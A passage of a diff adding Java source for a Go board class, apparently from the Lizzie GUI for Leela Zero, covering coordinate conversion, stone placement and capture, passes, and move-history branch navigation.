+   * Calculates the array index of a stone stored at (x, y)
+   *
+   * @param x the x coordinate
+   * @param y the y coordinate
+   * @return the array index
+   */
+  public static int getIndex(int x, int y) {
+    return x * Board.boardHeight + y;
+  }
+
+  public static int[] getCoord(int index) {
+    int y = index % Board.boardHeight;
+    int x = (index - y) / Board.boardHeight;
+    return new int[] {x, y};
+  }
+
+  /**
+   * Converts a named coordinate eg C16, T5, K10, etc to an x and y coordinate
+   *
+   * @param namedCoordinate a capitalized version of the named coordinate. Must be a valid 19x19 Go
+   *     coordinate, without I
+   * @return an optional array of coordinates, empty for pass and resign
+   */
+  public static Optional<int[]> asCoordinates(String namedCoordinate) {
+    namedCoordinate = namedCoordinate.trim();
+    if (namedCoordinate.equalsIgnoreCase("pass") || namedCoordinate.equalsIgnoreCase("resign")) {
+      return Optional.empty();
+    }
+    // coordinates take the form C16 A19 Q5 K10 etc. I is not used.
+    String reg = "([A-HJ-Z]+)(\\d+)";
+    Pattern p = Pattern.compile(reg);
+    Matcher m = p.matcher(namedCoordinate);
+    if (m.find() && m.groupCount() == 2) {
+      int x = asDigit(m.group(1));
+      int y = boardHeight - Integer.parseInt(m.group(2));
+      return Optional.of(new int[] {x, y});
+    } else {
+      reg = "\\(([\\d]+),([\\d]+)\\)";
+      p = Pattern.compile(reg);
+      m = p.matcher(namedCoordinate);
+      if (m.find() && m.groupCount() == 2) {
+        int x = Integer.parseInt(m.group(1));
+        int y = Integer.parseInt(m.group(2)); // boardHeight - Integer.parseInt(m.group(2)) - 1;
+        return Optional.of(new int[] {x, y});
+      } else {
+        return Optional.empty();
+      }
+    }
+  }
+
+  public static int asDigit(String name) {
+    // coordinates take the form C16 A19 Q5 K10 etc. I is not used.
+    int base = alphabet.length();
+    char names[] = name.toCharArray();
+    int length = names.length;
+    if (length > 0) {
+      int x = 0;
+      for (int i = length - 1; i >= 0; i--) {
+        int index = alphabet.indexOf(names[i]);
+        if (index == -1) {
+          return index;
+        }
+        x += index * Math.pow(base, length - i - 1);
+      }
+      return x;
+    } else {
+      return -1;
+    }
+  }
+
+  public static String asName(int c) {
+    return asName(c, true);
+  }
+
+  public static String asName(int c, boolean isName) {
+    if (boardWidth > 25 && isName) {
+      return String.valueOf(c + 1);
+    }
+    StringBuilder name = new StringBuilder();
+    int base = alphabet.length();
+    int n = c;
+    ArrayDeque<Integer> ad = new ArrayDeque<Integer>();
+    if (n > 0) {
+      while (n > 0) {
+        ad.addFirst(n < 25 && c >= 25 ? n % base - 1 : n % base);
+        n /= base;
+      }
+    } else {
+      ad.addFirst(n);
+    }
+    ad.forEach(i -> name.append(alphabet.charAt(i)));
+    return name.toString();
+  }
+
+  /**
+   * Converts a x and y coordinate to a named coordinate eg C16, T5, K10, etc
+   *
+   * @param x x coordinate -- must be valid
+   * @param y y coordinate -- must be valid
+   * @return a string representing the coordinate
+   */
+  public static String convertCoordinatesToName(int x, int y) {
+    // coordinates take the form C16 A19 Q5 K10 etc. I is not used.
+    if (boardWidth > 25 || boardHeight > 25) {
+      return String.format("(%d,%d)", x, y); // boardHeight - y - 1);
+    } else {
+      return asName(x, false) + (boardHeight - y);
+    }
+  }
+
+  /**
+   * Checks if a coordinate is valid
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   * @return whether or not this coordinate is part of the board
+   */
+  public static boolean isValid(int x, int y) {
+    return x >= 0 && x < boardWidth && y >= 0 && y < boardHeight;
+  }
+
+  public static boolean isValid(int[] c) {
+    return c != null && c.length == 2 && isValid(c[0], c[1]);
+  }
+
+  /**
+   * Open board again when the SZ property is setup by sgf
+   *
+   * @param size
+   */
+  public void reopen(int width, int height) {
+    width = (width >= 2) ? width : 19;
+    height = (height >= 2) ? height : 19;
+    if (width != boardWidth || height != boardHeight) {
+      boardWidth = width;
+      boardHeight = height;
+      Zobrist.init();
+      clear();
+      Lizzie.leelaz.boardSize(boardWidth, boardHeight);
+      Lizzie.frame.setForceRefresh(true);
+    }
+  }
+
+  /**
+   * The comment. Thread safe
+   *
+   * @param comment the comment of stone
+   */
+  public void comment(String comment) {
+    synchronized (this) {
+      history.getData().comment = comment;
+    }
+  }
+
+  /**
+   * Update the move number. Thread safe
+   *
+   * @param moveNumber the move number of stone
+   */
+  public void moveNumber(int moveNumber) {
+    synchronized (this) {
+      BoardData data = history.getData();
+      if (data.lastMove.isPresent()) {
+        int[] moveNumberList = history.getMoveNumberList();
+        moveNumberList[Board.getIndex(data.lastMove.get()[0], data.lastMove.get()[1])] = moveNumber;
+        Optional<BoardHistoryNode> node = history.getCurrentHistoryNode().previous();
+        while (node.isPresent() && node.get().numberOfChildren() <= 1) {
+          BoardData nodeData = node.get().getData();
+          if (nodeData.lastMove.isPresent() && nodeData.moveNumber >= moveNumber) {
+            moveNumber = (moveNumber > 1) ? moveNumber - 1 : 0;
+            moveNumberList[Board.getIndex(nodeData.lastMove.get()[0], nodeData.lastMove.get()[1])] =
+                moveNumber;
+          }
+          node = node.get().previous();
+        }
+      }
+    }
+  }
+
+  public int moveNumberByCoord(int[] coord) {
+    int moveNumber = 0;
+    if (Lizzie.board.isValid(coord)) {
+      int index = Lizzie.board.getIndex(coord[0], coord[1]);
+      if (Lizzie.board.getHistory().getStones()[index] != Stone.EMPTY) {
+        BoardHistoryNode cur = Lizzie.board.getHistory().getCurrentHistoryNode();
+        moveNumber = cur.getData().moveNumberList[index];
+        if (!cur.isMainTrunk()) {
+          if (moveNumber > 0) {
+            moveNumber = cur.getData().moveNumber - cur.getData().moveMNNumber + moveNumber;
+          } else {
+            BoardHistoryNode p = cur.firstParentWithVariations().orElse(cur);
+            while (p != cur && moveNumber == 0) {
+              moveNumber = p.getData().moveNumberList[index];
+              if (moveNumber > 0) {
+                BoardHistoryNode topOfTop = p.firstParentWithVariations().orElse(p);
+                if (topOfTop != p) {
+                  moveNumber = p.getData().moveNumber - p.getData().moveMNNumber + moveNumber;
+                }
+              } else {
+                cur = p;
+                p = cur.firstParentWithVariations().orElse(cur);
+              }
+            }
+          }
+        }
+      }
+    }
+    return moveNumber;
+  }
+
+  /**
+   * Add a stone to the board representation. Thread safe
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   * @param color the type of stone to place
+   */
+  public void addStone(int x, int y, Stone color) {
+    synchronized (this) {
+      if (!isValid(x, y) || history.getStones()[getIndex(x, y)] != Stone.EMPTY) return;
+
+      Stone[] stones = history.getData().stones;
+      Zobrist zobrist = history.getData().zobrist;
+
+      // set the stone at (x, y) to color
+      stones[getIndex(x, y)] = color;
+      zobrist.toggleStone(x, y, color);
+
+      Lizzie.frame.refresh();
+    }
+  }
+
+  /**
+   * Remove a stone from the board representation. Thread safe
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   * @param color the type of stone to place
+   */
+  public void removeStone(int x, int y, Stone color) {
+    synchronized (this) {
+      if (!isValid(x, y) || history.getStones()[getIndex(x, y)] == Stone.EMPTY) return;
+
+      BoardData data = history.getData();
+      Stone[] stones = data.stones;
+      Zobrist zobrist = data.zobrist;
+
+      // set the stone at (x, y) to empty
+      Stone oriColor = stones[getIndex(x, y)];
+      stones[getIndex(x, y)] = Stone.EMPTY;
+      zobrist.toggleStone(x, y, oriColor);
+      data.moveNumberList[Board.getIndex(x, y)] = 0;
+
+      Lizzie.frame.refresh();
+    }
+  }
+
+  /**
+   * Add a key and value to node
+   *
+   * @param key
+   * @param value
+   */
+  public void addNodeProperty(String key, String value) {
+    synchronized (this) {
+      history.getData().addProperty(key, value);
+      if ("MN".equals(key)) {
+        moveNumber(Integer.parseInt(value));
+      }
+    }
+  }
+
+  /**
+   * Add a keys and values to node
+   *
+   * @param properties
+   */
+  public void addNodeProperties(Map<String, String> properties) {
+    synchronized (this) {
+      history.getData().addProperties(properties);
+    }
+  }
+
+  /**
+   * The pass. Thread safe
+   *
+   * @param color the type of pass
+   */
+  public void pass(Stone color) {
+    pass(color, false, false, false);
+  }
+
+  public void pass(Stone color, boolean newBranch) {
+    pass(color, newBranch, false, false);
+  }
+
+  public void pass(Stone color, boolean newBranch, boolean dummy) {
+    pass(color, newBranch, dummy, false);
+  }
+
+  /**
+   * The pass. Thread safe
+   *
+   * @param color the type of pass
+   * @param newBranch add a new branch
+   */
+  public void pass(Stone color, boolean newBranch, boolean dummy, boolean changeMove) {
+    synchronized (this) {
+
+      // check to see if this move is being replayed in history
+      if (history.getNext().map(n -> !n.lastMove.isPresent()).orElse(false) && !newBranch) {
+        // this is the next move in history. Just increment history so that we don't erase the
+        // redo's
+        history.next();
+        Lizzie.leelaz.playMove(color, "pass");
+        if (Lizzie.frame.isPlayingAgainstLeelaz)
+          Lizzie.leelaz.genmove((history.isBlacksTurn() ? "B" : "W"));
+
+        return;
+      }
+
+      Stone[] stones = history.getStones().clone();
+      Zobrist zobrist = history.getZobrist();
+      int moveNumber = history.getMoveNumber() + 1;
+      int[] moveNumberList =
+          newBranch && history.getNext(true).isPresent()
+              ? new int[Board.boardWidth * Board.boardHeight]
+              : history.getMoveNumberList().clone();
+
+      // build the new game state
+      BoardData newState =
+          new BoardData(
+              stones,
+              Optional.empty(),
+              color,
+              color.equals(Stone.WHITE),
+              zobrist,
+              moveNumber,
+              moveNumberList,
+              history.getData().blackCaptures,
+              history.getData().whiteCaptures,
+              0,
+              0);
+      newState.dummy = dummy;
+
+      // update leelaz with pass
+      if (!Lizzie.leelaz.isInputCommand) Lizzie.leelaz.playMove(color, "pass");
+      if (Lizzie.frame.isPlayingAgainstLeelaz)
+        Lizzie.leelaz.genmove((history.isBlacksTurn() ? "W" : "B"));
+
+      // update history with pass
+      history.addOrGoto(newState, newBranch, changeMove);
+
+      Lizzie.frame.refresh();
+    }
+  }
+
+  /** overloaded method for pass(), chooses color in an alternating pattern */
+  public void pass() {
+    pass(history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE);
+  }
+
+  /**
+   * Places a stone onto the board representation. Thread safe
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   * @param color the type of stone to place
+   */
+  public void place(int x, int y, Stone color) {
+    place(x, y, color, false);
+  }
+
+  public void place(int x, int y, Stone color, boolean newBranch) {
+    place(x, y, color, newBranch, false);
+  }
+
+  /**
+   * Places a stone onto the board representation. Thread safe
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   * @param color the type of stone to place
+   * @param newBranch add a new branch
+   */
+  public void place(int x, int y, Stone color, boolean newBranch, boolean changeMove) {
+    synchronized (this) {
+      if (scoreMode) {
+        // Mark clicked stone as dead
+        Stone[] stones = history.getStones();
+        toggleLiveStatus(capturedStones, x, y);
+        return;
+      }
+
+      if (!isValid(x, y) || (history.getStones()[getIndex(x, y)] != Stone.EMPTY && !newBranch))
+        return;
+
+      updateWinrate();
+      double nextWinrate = -100;
+      if (history.getData().winrate >= 0) nextWinrate = 100 - history.getData().winrate;
+
+      // check to see if this coordinate is being replayed in history
+      Optional<int[]> nextLast = history.getNext().flatMap(n -> n.lastMove);
+      if (nextLast.isPresent()
+          && nextLast.get()[0] == x
+          && nextLast.get()[1] == y
+          && !newBranch
+          && !changeMove) {
+        // this is the next coordinate in history. Just increment history so that we don't erase the
+        // redo's
+        history.next();
+        // should be opposite from the bottom case
+        if (Lizzie.frame.isPlayingAgainstLeelaz
+            && Lizzie.frame.playerIsBlack != getData().blackToPlay) {
+          Lizzie.leelaz.playMove(color, convertCoordinatesToName(x, y));
+          Lizzie.leelaz.genmove((Lizzie.board.getData().blackToPlay ? "W" : "B"));
+        } else if (!Lizzie.frame.isPlayingAgainstLeelaz) {
+          Lizzie.leelaz.playMove(color, convertCoordinatesToName(x, y));
+        }
+        return;
+      }
+
+      // load a copy of the data at the current node of history
+      Stone[] stones = history.getStones().clone();
+      Zobrist zobrist = history.getZobrist();
+      Optional<int[]> lastMove = Optional.of(new int[] {x, y});
+      int moveNumber = history.getMoveNumber() + 1;
+      int moveMNNumber =
+          history.getMoveMNNumber() > -1 && !newBranch ? history.getMoveMNNumber() + 1 : -1;
+      int[] moveNumberList =
+          newBranch && history.getNext(true).isPresent()
+              ? new int[Board.boardWidth * Board.boardHeight]
+              : history.getMoveNumberList().clone();
+
+      moveNumberList[Board.getIndex(x, y)] = moveMNNumber > -1 ? moveMNNumber : moveNumber;
+
+      // set the stone at (x, y) to color
+      stones[getIndex(x, y)] = color;
+      zobrist.toggleStone(x, y, color);
+
+      // remove enemy stones
+      int capturedStones = 0;
+      capturedStones += removeDeadChain(x + 1, y, color.opposite(), stones, zobrist);
+      capturedStones += removeDeadChain(x, y + 1, color.opposite(), stones, zobrist);
+      capturedStones += removeDeadChain(x - 1, y, color.opposite(), stones, zobrist);
+      capturedStones += removeDeadChain(x, y - 1, color.opposite(), stones, zobrist);
+
+      // check to see if the player made a suicidal coordinate
+      int isSuicidal = removeDeadChain(x, y, color, stones, zobrist);
+
+      for (int i = 0; i < boardWidth * boardHeight; i++) {
+        if (stones[i].equals(Stone.EMPTY)) {
+          moveNumberList[i] = 0;
+        }
+      }
+
+      int bc = history.getData().blackCaptures;
+      int wc = history.getData().whiteCaptures;
+      if (color.isBlack()) bc += capturedStones;
+      else wc += capturedStones;
+      BoardData newState =
+          new BoardData(
+              stones,
+              lastMove,
+              color,
+              color.equals(Stone.WHITE),
+              zobrist,
+              moveNumber,
+              moveNumberList,
+              bc,
+              wc,
+              nextWinrate,
+              0);
+      newState.moveMNNumber = moveMNNumber;
+      newState.dummy = false;
+
+      // don't make this coordinate if it is suicidal or violates superko
+      if (isSuicidal > 0 || history.violatesKoRule(newState)) return;
+
+      // update leelaz with board position
+      if (Lizzie.frame.isPlayingAgainstLeelaz
+          && Lizzie.frame.playerIsBlack == getData().blackToPlay) {
+        Lizzie.leelaz.playMove(color, convertCoordinatesToName(x, y));
+        Lizzie.leelaz.genmove((Lizzie.board.getData().blackToPlay ? "W" : "B"));
+      } else if (!Lizzie.frame.isPlayingAgainstLeelaz && !Lizzie.leelaz.isInputCommand) {
+        Lizzie.leelaz.playMove(color, convertCoordinatesToName(x, y));
+      }
+
+      // update history with this coordinate
+      history.addOrGoto(newState, newBranch, changeMove);
+
+      Lizzie.frame.refresh();
+    }
+  }
+
+  /**
+   * overloaded method for place(), chooses color in an alternating pattern
+   *
+   * @param x x coordinate
+   * @param y y coordinate
+   */
+  public void place(int x, int y) {
+    place(x, y, history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE);
+  }
+
+  /**
+   * overloaded method for place. To be used by the LeelaZ engine. Color is then assumed to be
+   * alternating
+   *
+   * @param namedCoordinate the coordinate to place a stone,
+   */
+  public void place(String namedCoordinate) {
+    Optional<int[]> coords = asCoordinates(namedCoordinate);
+    if (coords.isPresent()) {
+      place(coords.get()[0], coords.get()[1]);
+    } else {
+      pass(history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE);
+    }
+  }
+
+  /** for handicap */
+  public void flatten() {
+    Stone[] stones = history.getStones();
+    boolean blackToPlay = history.isBlacksTurn();
+    Zobrist zobrist = history.getZobrist().clone();
+    BoardHistoryList oldHistory = history;
+    history =
+        new BoardHistoryList(
+            new BoardData(
+                stones,
+                Optional.empty(),
+                Stone.EMPTY,
+                blackToPlay,
+                zobrist,
+                0,
+                new int[boardWidth * boardHeight],
+                0,
+                0,
+                0.0,
+                0));
+    history.setGameInfo(oldHistory.getGameInfo());
+  }
+
+  /**
+   * Removes a chain if it has no liberties
+   *
+   * @param x x coordinate -- needn't be valid
+   * @param y y coordinate -- needn't be valid
+   * @param color the color of the chain to remove
+   * @param stones the stones array to modify
+   * @param zobrist the zobrist object to modify
+   * @return number of removed stones
+   */
+  public static int removeDeadChain(int x, int y, Stone color, Stone[] stones, Zobrist zobrist) {
+    if (!isValid(x, y) || stones[getIndex(x, y)] != color) return 0;
+
+    boolean hasLiberties = hasLibertiesHelper(x, y, color, stones);
+
+    // either remove stones or reset what hasLibertiesHelper does to the board
+    return cleanupHasLibertiesHelper(x, y, color.recursed(), stones, zobrist, !hasLiberties);
+  }
+
+  /**
+   * Recursively determines if a chain has liberties. Alters the state of stones, so it must be
+   * counteracted
+   *
+   * @param x x coordinate -- needn't be valid
+   * @param y y coordinate -- needn't be valid
+   * @param color the color of the chain to be investigated
+   * @param stones the stones array to modify
+   * @return whether or not this chain has liberties
+   */
+  private static boolean hasLibertiesHelper(int x, int y, Stone color, Stone[] stones) {
+    if (!isValid(x, y)) return false;
+
+    if (stones[getIndex(x, y)] == Stone.EMPTY) return true; // a liberty was found
+    else if (stones[getIndex(x, y)] != color)
+      return false; // we are either neighboring an enemy stone, or one we've already recursed on
+
+    // set this index to be the recursed color to keep track of where we've already searched
+    stones[getIndex(x, y)] = color.recursed();
+
+    // set removeDeadChain to true if any recursive calls return true. Recurse in all 4 directions
+    boolean hasLiberties =
+        hasLibertiesHelper(x + 1, y, color, stones)
+            || hasLibertiesHelper(x, y + 1, color, stones)
+            || hasLibertiesHelper(x - 1, y, color, stones)
+            || hasLibertiesHelper(x, y - 1, color, stones);
+
+    return hasLiberties;
+  }
+
+  /**
+   * cleans up what hasLibertyHelper does to the board state
+   *
+   * @param x x coordinate -- needn't be valid
+   * @param y y coordinate -- needn't be valid
+   * @param color color to clean up. Must be a recursed stone type
+   * @param stones the stones array to modify
+   * @param zobrist the zobrist object to modify
+   * @param removeStones if true, we will remove all these stones. otherwise, we will set them to
+   *     their unrecursed version
+   * @return number of removed stones
+   */
+  private static int cleanupHasLibertiesHelper(
+      int x, int y, Stone color, Stone[] stones, Zobrist zobrist, boolean removeStones) {
+    int removed = 0;
+    if (!isValid(x, y) || stones[getIndex(x, y)] != color) return 0;
+
+    stones[getIndex(x, y)] = removeStones ? Stone.EMPTY : color.unrecursed();
+    if (removeStones) {
+      zobrist.toggleStone(x, y, color.unrecursed());
+      removed = 1;
+    }
+
+    // use the flood fill algorithm to replace all adjacent recursed stones
+    removed += cleanupHasLibertiesHelper(x + 1, y, color, stones, zobrist, removeStones);
+    removed += cleanupHasLibertiesHelper(x, y + 1, color, stones, zobrist, removeStones);
+    removed += cleanupHasLibertiesHelper(x - 1, y, color, stones, zobrist, removeStones);
+    removed += cleanupHasLibertiesHelper(x, y - 1, color, stones, zobrist, removeStones);
+    return removed;
+  }
+
+  /**
+   * Get current board state
+   *
+   * @return the stones array corresponding to the current board state
+   */
+  public Stone[] getStones() {
+    return history.getStones();
+  }
+
+  /**
+   * Shows where to mark the last coordinate
+   *
+   * @return the last played stone, if any, Optional.empty otherwise
+   */
+  public Optional<int[]> getLastMove() {
+    return history.getLastMove();
+  }
+
+  /**
+   * Gets the move played in this position
+   *
+   * @return the next move, if any, Optional.empty otherwise
+   */
+  public Optional<int[]> getNextMove() {
+    return history.getNextMove();
+  }
+
+  /**
+   * Gets current board move number
+   *
+   * @return the int array corresponding to the current board move number
+   */
+  public int[] getMoveNumberList() {
+    return history.getMoveNumberList();
+  }
+
+  /** Goes to the next coordinate, thread safe */
+  public boolean nextMove() {
+    synchronized (this) {
+      updateWinrate();
+      if (history.next().isPresent()) {
+        // update leelaz board position, before updating to next node
+        Optional<int[]> lastMoveOpt = history.getData().lastMove;
+        if (lastMoveOpt.isPresent()) {
+          int[] lastMove = lastMoveOpt.get();
+          String name = convertCoordinatesToName(lastMove[0], lastMove[1]);
+          Lizzie.leelaz.playMove(history.getLastMoveColor(), name);
+        } else {
+          Lizzie.leelaz.playMove(history.getLastMoveColor(), "pass");
+        }
+        Lizzie.frame.refresh();
+        return true;
+      }
+      return false;
+    }
+  }
+
+  /**
+   * Goes to the next coordinate, thread safe
+   *
+   * @param fromBackChildren by back children branch
+   * @return true when has next variation
+   */
+  public boolean nextMove(int fromBackChildren) {
+    synchronized (this) {
+      updateWinrate();
+      return nextVariation(fromBackChildren);
+    }
+  }
+
+  /** Save the move number for restore If in the branch, save the back routing from children */
+  public void saveMoveNumber() {
+    BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+    int curMoveNum = currentNode.getData().moveNumber;
+    if (curMoveNum > 0) {
+      if (!currentNode.isMainTrunk()) {
+        // If in branch, save the back routing from children
+        saveBackRouting(currentNode);
+      }
+      goToMoveNumber(0);
+    }
+    saveNode = Optional.of(currentNode);
+  }
+
+  /** Save the back routing from children */
+  public void saveBackRouting(BoardHistoryNode node) {
+    Optional<BoardHistoryNode> prev = node.previous();
+    prev.ifPresent(n -> n.setFromBackChildren(n.getVariations().indexOf(node)));
+    prev.ifPresent(n -> n.previous().ifPresent(p -> saveBackRouting(p)));
+  }
+
+  /** Restore move number by saved node */
+  public void restoreMoveNumber() {
+    saveNode.ifPresent(n -> restoreMoveNumber(n));
+  }
+
+  /** Restore move number by node */
+  public void restoreMoveNumber(BoardHistoryNode node) {
+    Stone[] stones = history.getStones();
+    for (int i = 0; i < stones.length; i++) {
+      Stone stone = stones[i];
+      if (stone.isBlack() || stone.isWhite()) {
+        int y = i % Board.boardWidth;
+        int x = (i - y) / Board.boardHeight;
+        Lizzie.leelaz.playMove(stone, convertCoordinatesToName(x, y));
+      }
+    }
+    int moveNumber = node.getData().moveNumber;
+    if (moveNumber > 0) {
+      if (node.isMainTrunk()) {
+        goToMoveNumber(moveNumber);
+      } else {
+        // If in Branch, restore by the back routing
+        goToMoveNumberByBackChildren(moveNumber);
+      }
+    }
+  }
+
+  /** Go to move number by back routing from children when in branch */
+  public void goToMoveNumberByBackChildren(int moveNumber) {
+    int delta = moveNumber - history.getMoveNumber();
+    for (int i = 0; i < Math.abs(delta); i++) {
+      BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+      if (currentNode.hasVariations() && delta > 0) {
+        nextMove(currentNode.getFromBackChildren());
+      } else {
+        if (!(delta > 0 ? nextMove() : previousMove())) {
+          break;
+        }
+      }
+    }
+  }
+
+  public boolean goToMoveNumber(int moveNumber) {
+    return goToMoveNumberHelper(moveNumber, false);
+  }
+
+  public boolean goToMoveNumberWithinBranch(int moveNumber) {
+    return goToMoveNumberHelper(moveNumber, true);
+  }
+
+  public boolean goToMoveNumberBeyondBranch(int moveNumber) {
+    // Go to main trunk if current branch is shorter than moveNumber.
+    if (moveNumber > history.currentBranchLength() && moveNumber <= history.mainTrunkLength()) {
+      goToMoveNumber(0);
+    }
+    return goToMoveNumber(moveNumber);
+  }
+
+  public boolean goToMoveNumberHelper(int moveNumber, boolean withinBranch) {
+    int delta = moveNumber - history.getMoveNumber();
+    boolean moved = false;
+    for (int i = 0; i < Math.abs(delta); i++) {
+      if (withinBranch && delta < 0) {
+        BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+        if (!currentNode.isFirstChild()) {
+          break;
+        }
+      }
+      if (!(delta > 0 ? nextMove() : previousMove())) {
+        break;
+      }
+      moved = true;
+    }
+    return moved;
+  }
+
+  /** Goes to the next variation, thread safe */
+  public boolean nextVariation(int idx) {
+    synchronized (this) {
+      // Don't update winrate here as this is usually called when jumping between variations
+      if (history.nextVariation(idx).isPresent()) {
+        // Update leelaz board position, before updating to next node
+        Optional<int[]> lastMoveOpt = history.getData().lastMove;
+        if (lastMoveOpt.isPresent()) {
+          int[] lastMove = lastMoveOpt.get();
+          String name = convertCoordinatesToName(lastMove[0], lastMove[1]);
+          Lizzie.leelaz.playMove(history.getLastMoveColor(), name);
+        } else {
+          Lizzie.leelaz.playMove(history.getLastMoveColor(), "pass");
+        }
+        Lizzie.frame.refresh();
+        return true;
+      }
+      return false;
+    }
+  }
+
+  /**
+   * Returns all the nodes at the given depth in the history tree, always including a node from the
+   * main variation (possibly less deep that the given depth).
+   *
+   * @return the list of candidate nodes
+   */
+  private List<BoardHistoryNode> branchCandidates(BoardHistoryNode node) {
+    int targetDepth = node.getData().moveNumber;
+    Stream<BoardHistoryNode> nodes = singletonList(history.root()).stream();
+    for (int i = 0; i < targetDepth; i++) {
+      nodes = nodes.flatMap(n -> n.getVariations().stream());
+    }
+    LinkedList<BoardHistoryNode> result = nodes.collect(Collectors.toCollection(LinkedList::new));
+
+    if (result.isEmpty() || !result.get(0).isMainTrunk()) {
+      BoardHistoryNode endOfMainTrunk = history.root();
+      while (endOfMainTrunk.next().isPresent()) {
+        endOfMainTrunk = endOfMainTrunk.next().get();
+      }
+      result.addFirst(endOfMainTrunk);
+      return result;
+    } else {
+      return result;
+    }
+  }
+
+  /**
+   * Moves to next variation (variation to the right) if possible. The variation must have a move
+   * with the same move number as the current move in it.
+   *
+   * @return true if there exist a target variation
+   */
+  public boolean nextBranch() {
+    synchronized (this) {
+      BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+      Optional<BoardHistoryNode> targetNode = Optional.empty();
+      boolean foundIt = false;
+      for (BoardHistoryNode candidate : branchCandidates(currentNode)) {
+        if (foundIt) {
+          targetNode = Optional.of(candidate);
+          break;
+        } else if (candidate == currentNode) {
+          foundIt = true;
+        }
+      }
+      if (targetNode.isPresent()) {
+        moveToAnyPosition(targetNode.get());
+      }
+      return targetNode.isPresent();
+    }
+  }
+
+  /**
+   * Moves to previous variation (variation to the left) if possible, or back to main trunk To move
+   * to another variation, the variation must have the same number of moves in it.
+   *
+   * <p>Note: This method will always move back to main trunk, even if variation has more moves than
+   * main trunk (if this case it will move to the last move in the trunk).
+   *
+   * @return true if there exist a target variation
+   */
+  public boolean previousBranch() {
+    synchronized (this) {
+      BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+      Optional<BoardHistoryNode> targetNode = Optional.empty();
+      for (BoardHistoryNode candidate : branchCandidates(currentNode)) {
+        if (candidate == currentNode) {
+          break;
+        } else {
+          targetNode = Optional.of(candidate);
+        }
+      }
+      if (targetNode.isPresent()) {
+        moveToAnyPosition(targetNode.get());
+      }
+      return targetNode.isPresent();
+    }
+  }
+
+  /**
+   * Jump anywhere in the board history tree.
+   *
+   * @param targetNode history node to be located
+   * @return void
+   */
+  public void moveToAnyPosition(BoardHistoryNode targetNode) {
+    List<Integer> targetParents = new ArrayList<Integer>();
+    List<Integer> sourceParents = new ArrayList<Integer>();
+
+    BiConsumer<BoardHistoryNode, List<Integer>> populateParent =
+        (node, parentList) -> {
+          Optional<BoardHistoryNode> prevNode = node.previous();
+          while (prevNode.isPresent()) {
+            BoardHistoryNode p = prevNode.get();
+            for (int m = 0; m < p.numberOfChildren(); m++) {
+              if (p.getVariation(m).get() == node) {
+                parentList.add(m);
+              }
+            }
+            node = p;
+            prevNode = p.previous();
+          }
+        };
+
+    // Compute the path from the current node to the root
+    populateParent.accept(history.getCurrentHistoryNode(), sourceParents);
+
+    // Compute the path from the target node to the root
+    populateParent.accept(targetNode, targetParents);
+
+    // Compute the distance from source to the deepest common answer
+    int targetDepth = targetParents.size();
+    int sourceDepth = sourceParents.size();
+    int maxDepth = min(targetParents.size(), sourceParents.size());
+    int depth;
+    for (depth = 0; depth < maxDepth; depth++) {
+      int sourceParent = sourceParents.get(sourceDepth - depth - 1);
+      int targetParent = targetParents.get(targetDepth - depth - 1);
+      if (sourceParent != targetParent) {
+        break;
+      }
+    }
+
+    // Move all the way up to the deepest common ansestor
+    for (int m = 0; m < sourceDepth - depth; m++) {
+      previousMove();
+    }
+
+    // Then all the way down to the target
+    for (int m = targetDepth - depth; m > 0; m--) {
+      nextVariation(targetParents.get(m - 1));
+    }
+  }
+
+  public void moveBranchUp() {
+    synchronized (this) {
+      history.getCurrentHistoryNode().topOfBranch().moveUp();
+    }
+  }
+
+  public void moveBranchDown() {
+    synchronized (this) {
+      history.getCurrentHistoryNode().topOfBranch().moveDown();
+    }
+  }
+
+  public void deleteMove() {
+    synchronized (this) {
+      BoardHistoryNode currentNode = history.getCurrentHistoryNode();
+      if (currentNode.next(true).isPresent()) {
+        // Will delete more than one move, ask for confirmation
+        int ret =
+            JOptionPane.showConfirmDialog(
+                null,
+                "This will delete all moves and branches after this move",
+                "Delete",
+                JOptionPane.OK_CANCEL_OPTION);
+        if (ret != JOptionPane.OK_OPTION) {
+          return;
+        }
+      }
+      if (currentNode.previous().isPresent()) {
+        BoardHistoryNode pre = currentNode.previous().get();
+        previousMove();
+        int idx = pre.indexOfNode(currentNode);
+        pre.deleteChild(idx);
+      } else {
+        clear(); // Clear the board if we're at the top
+      }
+    }
+  }
+
+  public void deleteBranch() {
+    int originalMoveNumber = history.getMoveNumber();
+    undoToChildOfPreviousWithVariation();
+    int moveNumberBeforeOperation = history.getMoveNumber();
+    deleteMove();
+    boolean canceled = (history.getMoveNumber() == moveNumberBeforeOperation);
+    if (canceled) {
+      goToMoveNumber(originalMoveNumber);
+    }
+  }
+
+  public BoardData getData() {
+    return history.getData();
+  }
+
+  public BoardHistoryList getHistory() {
+    return history;
+  }
+
+  /** Clears all history and starts over from empty board. */
+  public void clear() {
+    Lizzie.leelaz.clear();
+    Lizzie.frame.resetTitle();
+    Lizzie.frame.clear();
+    initialize();
+  }
+
+  /** Goes to the previous coordinate, thread safe */
+  public boolean previousMove() {
+    synchronized (this) {
+      if (inScoreMode()) setScoreMode(false);
+      updateWinrate();
+      if (history.previous().isPresent()) {
+        Lizzie.leelaz.undo();
+        Lizzie.frame.refresh();
+        return true;
+      }
+      return false;
+    }
+  }
+
+  public boolean undoToChildOfPreviousWithVariation() {
+    BoardHistoryNode start = history.getCurrentHistoryNode();
+    Optional<BoardHistoryNode> goal = start.findChildOfPreviousWithVariation();
+    if (!goal.isPresent() || start == goal.get()) return false;
+    while (history.getCurrentHistoryNode() != goal.get() && previousMove()) ;
+    return true;
+  }
+
+  public void setScoreMode(boolean on) {
+    if (on) {
+      // load a copy of the data at the current node of history
+      capturedStones = history.getStones().clone();
+    } else {
+      capturedStones = new Stone[] {};
+    }
+    scoreMode = on;
+  }
+
+  /*
+   * Starting at position stonex, stoney, remove all stones with same color within an area bordered by stones
+   * of opposite color (AKA captured stones)
+   */
+  private void toggleLiveStatus(Stone[] stones, int stonex, int stoney) {
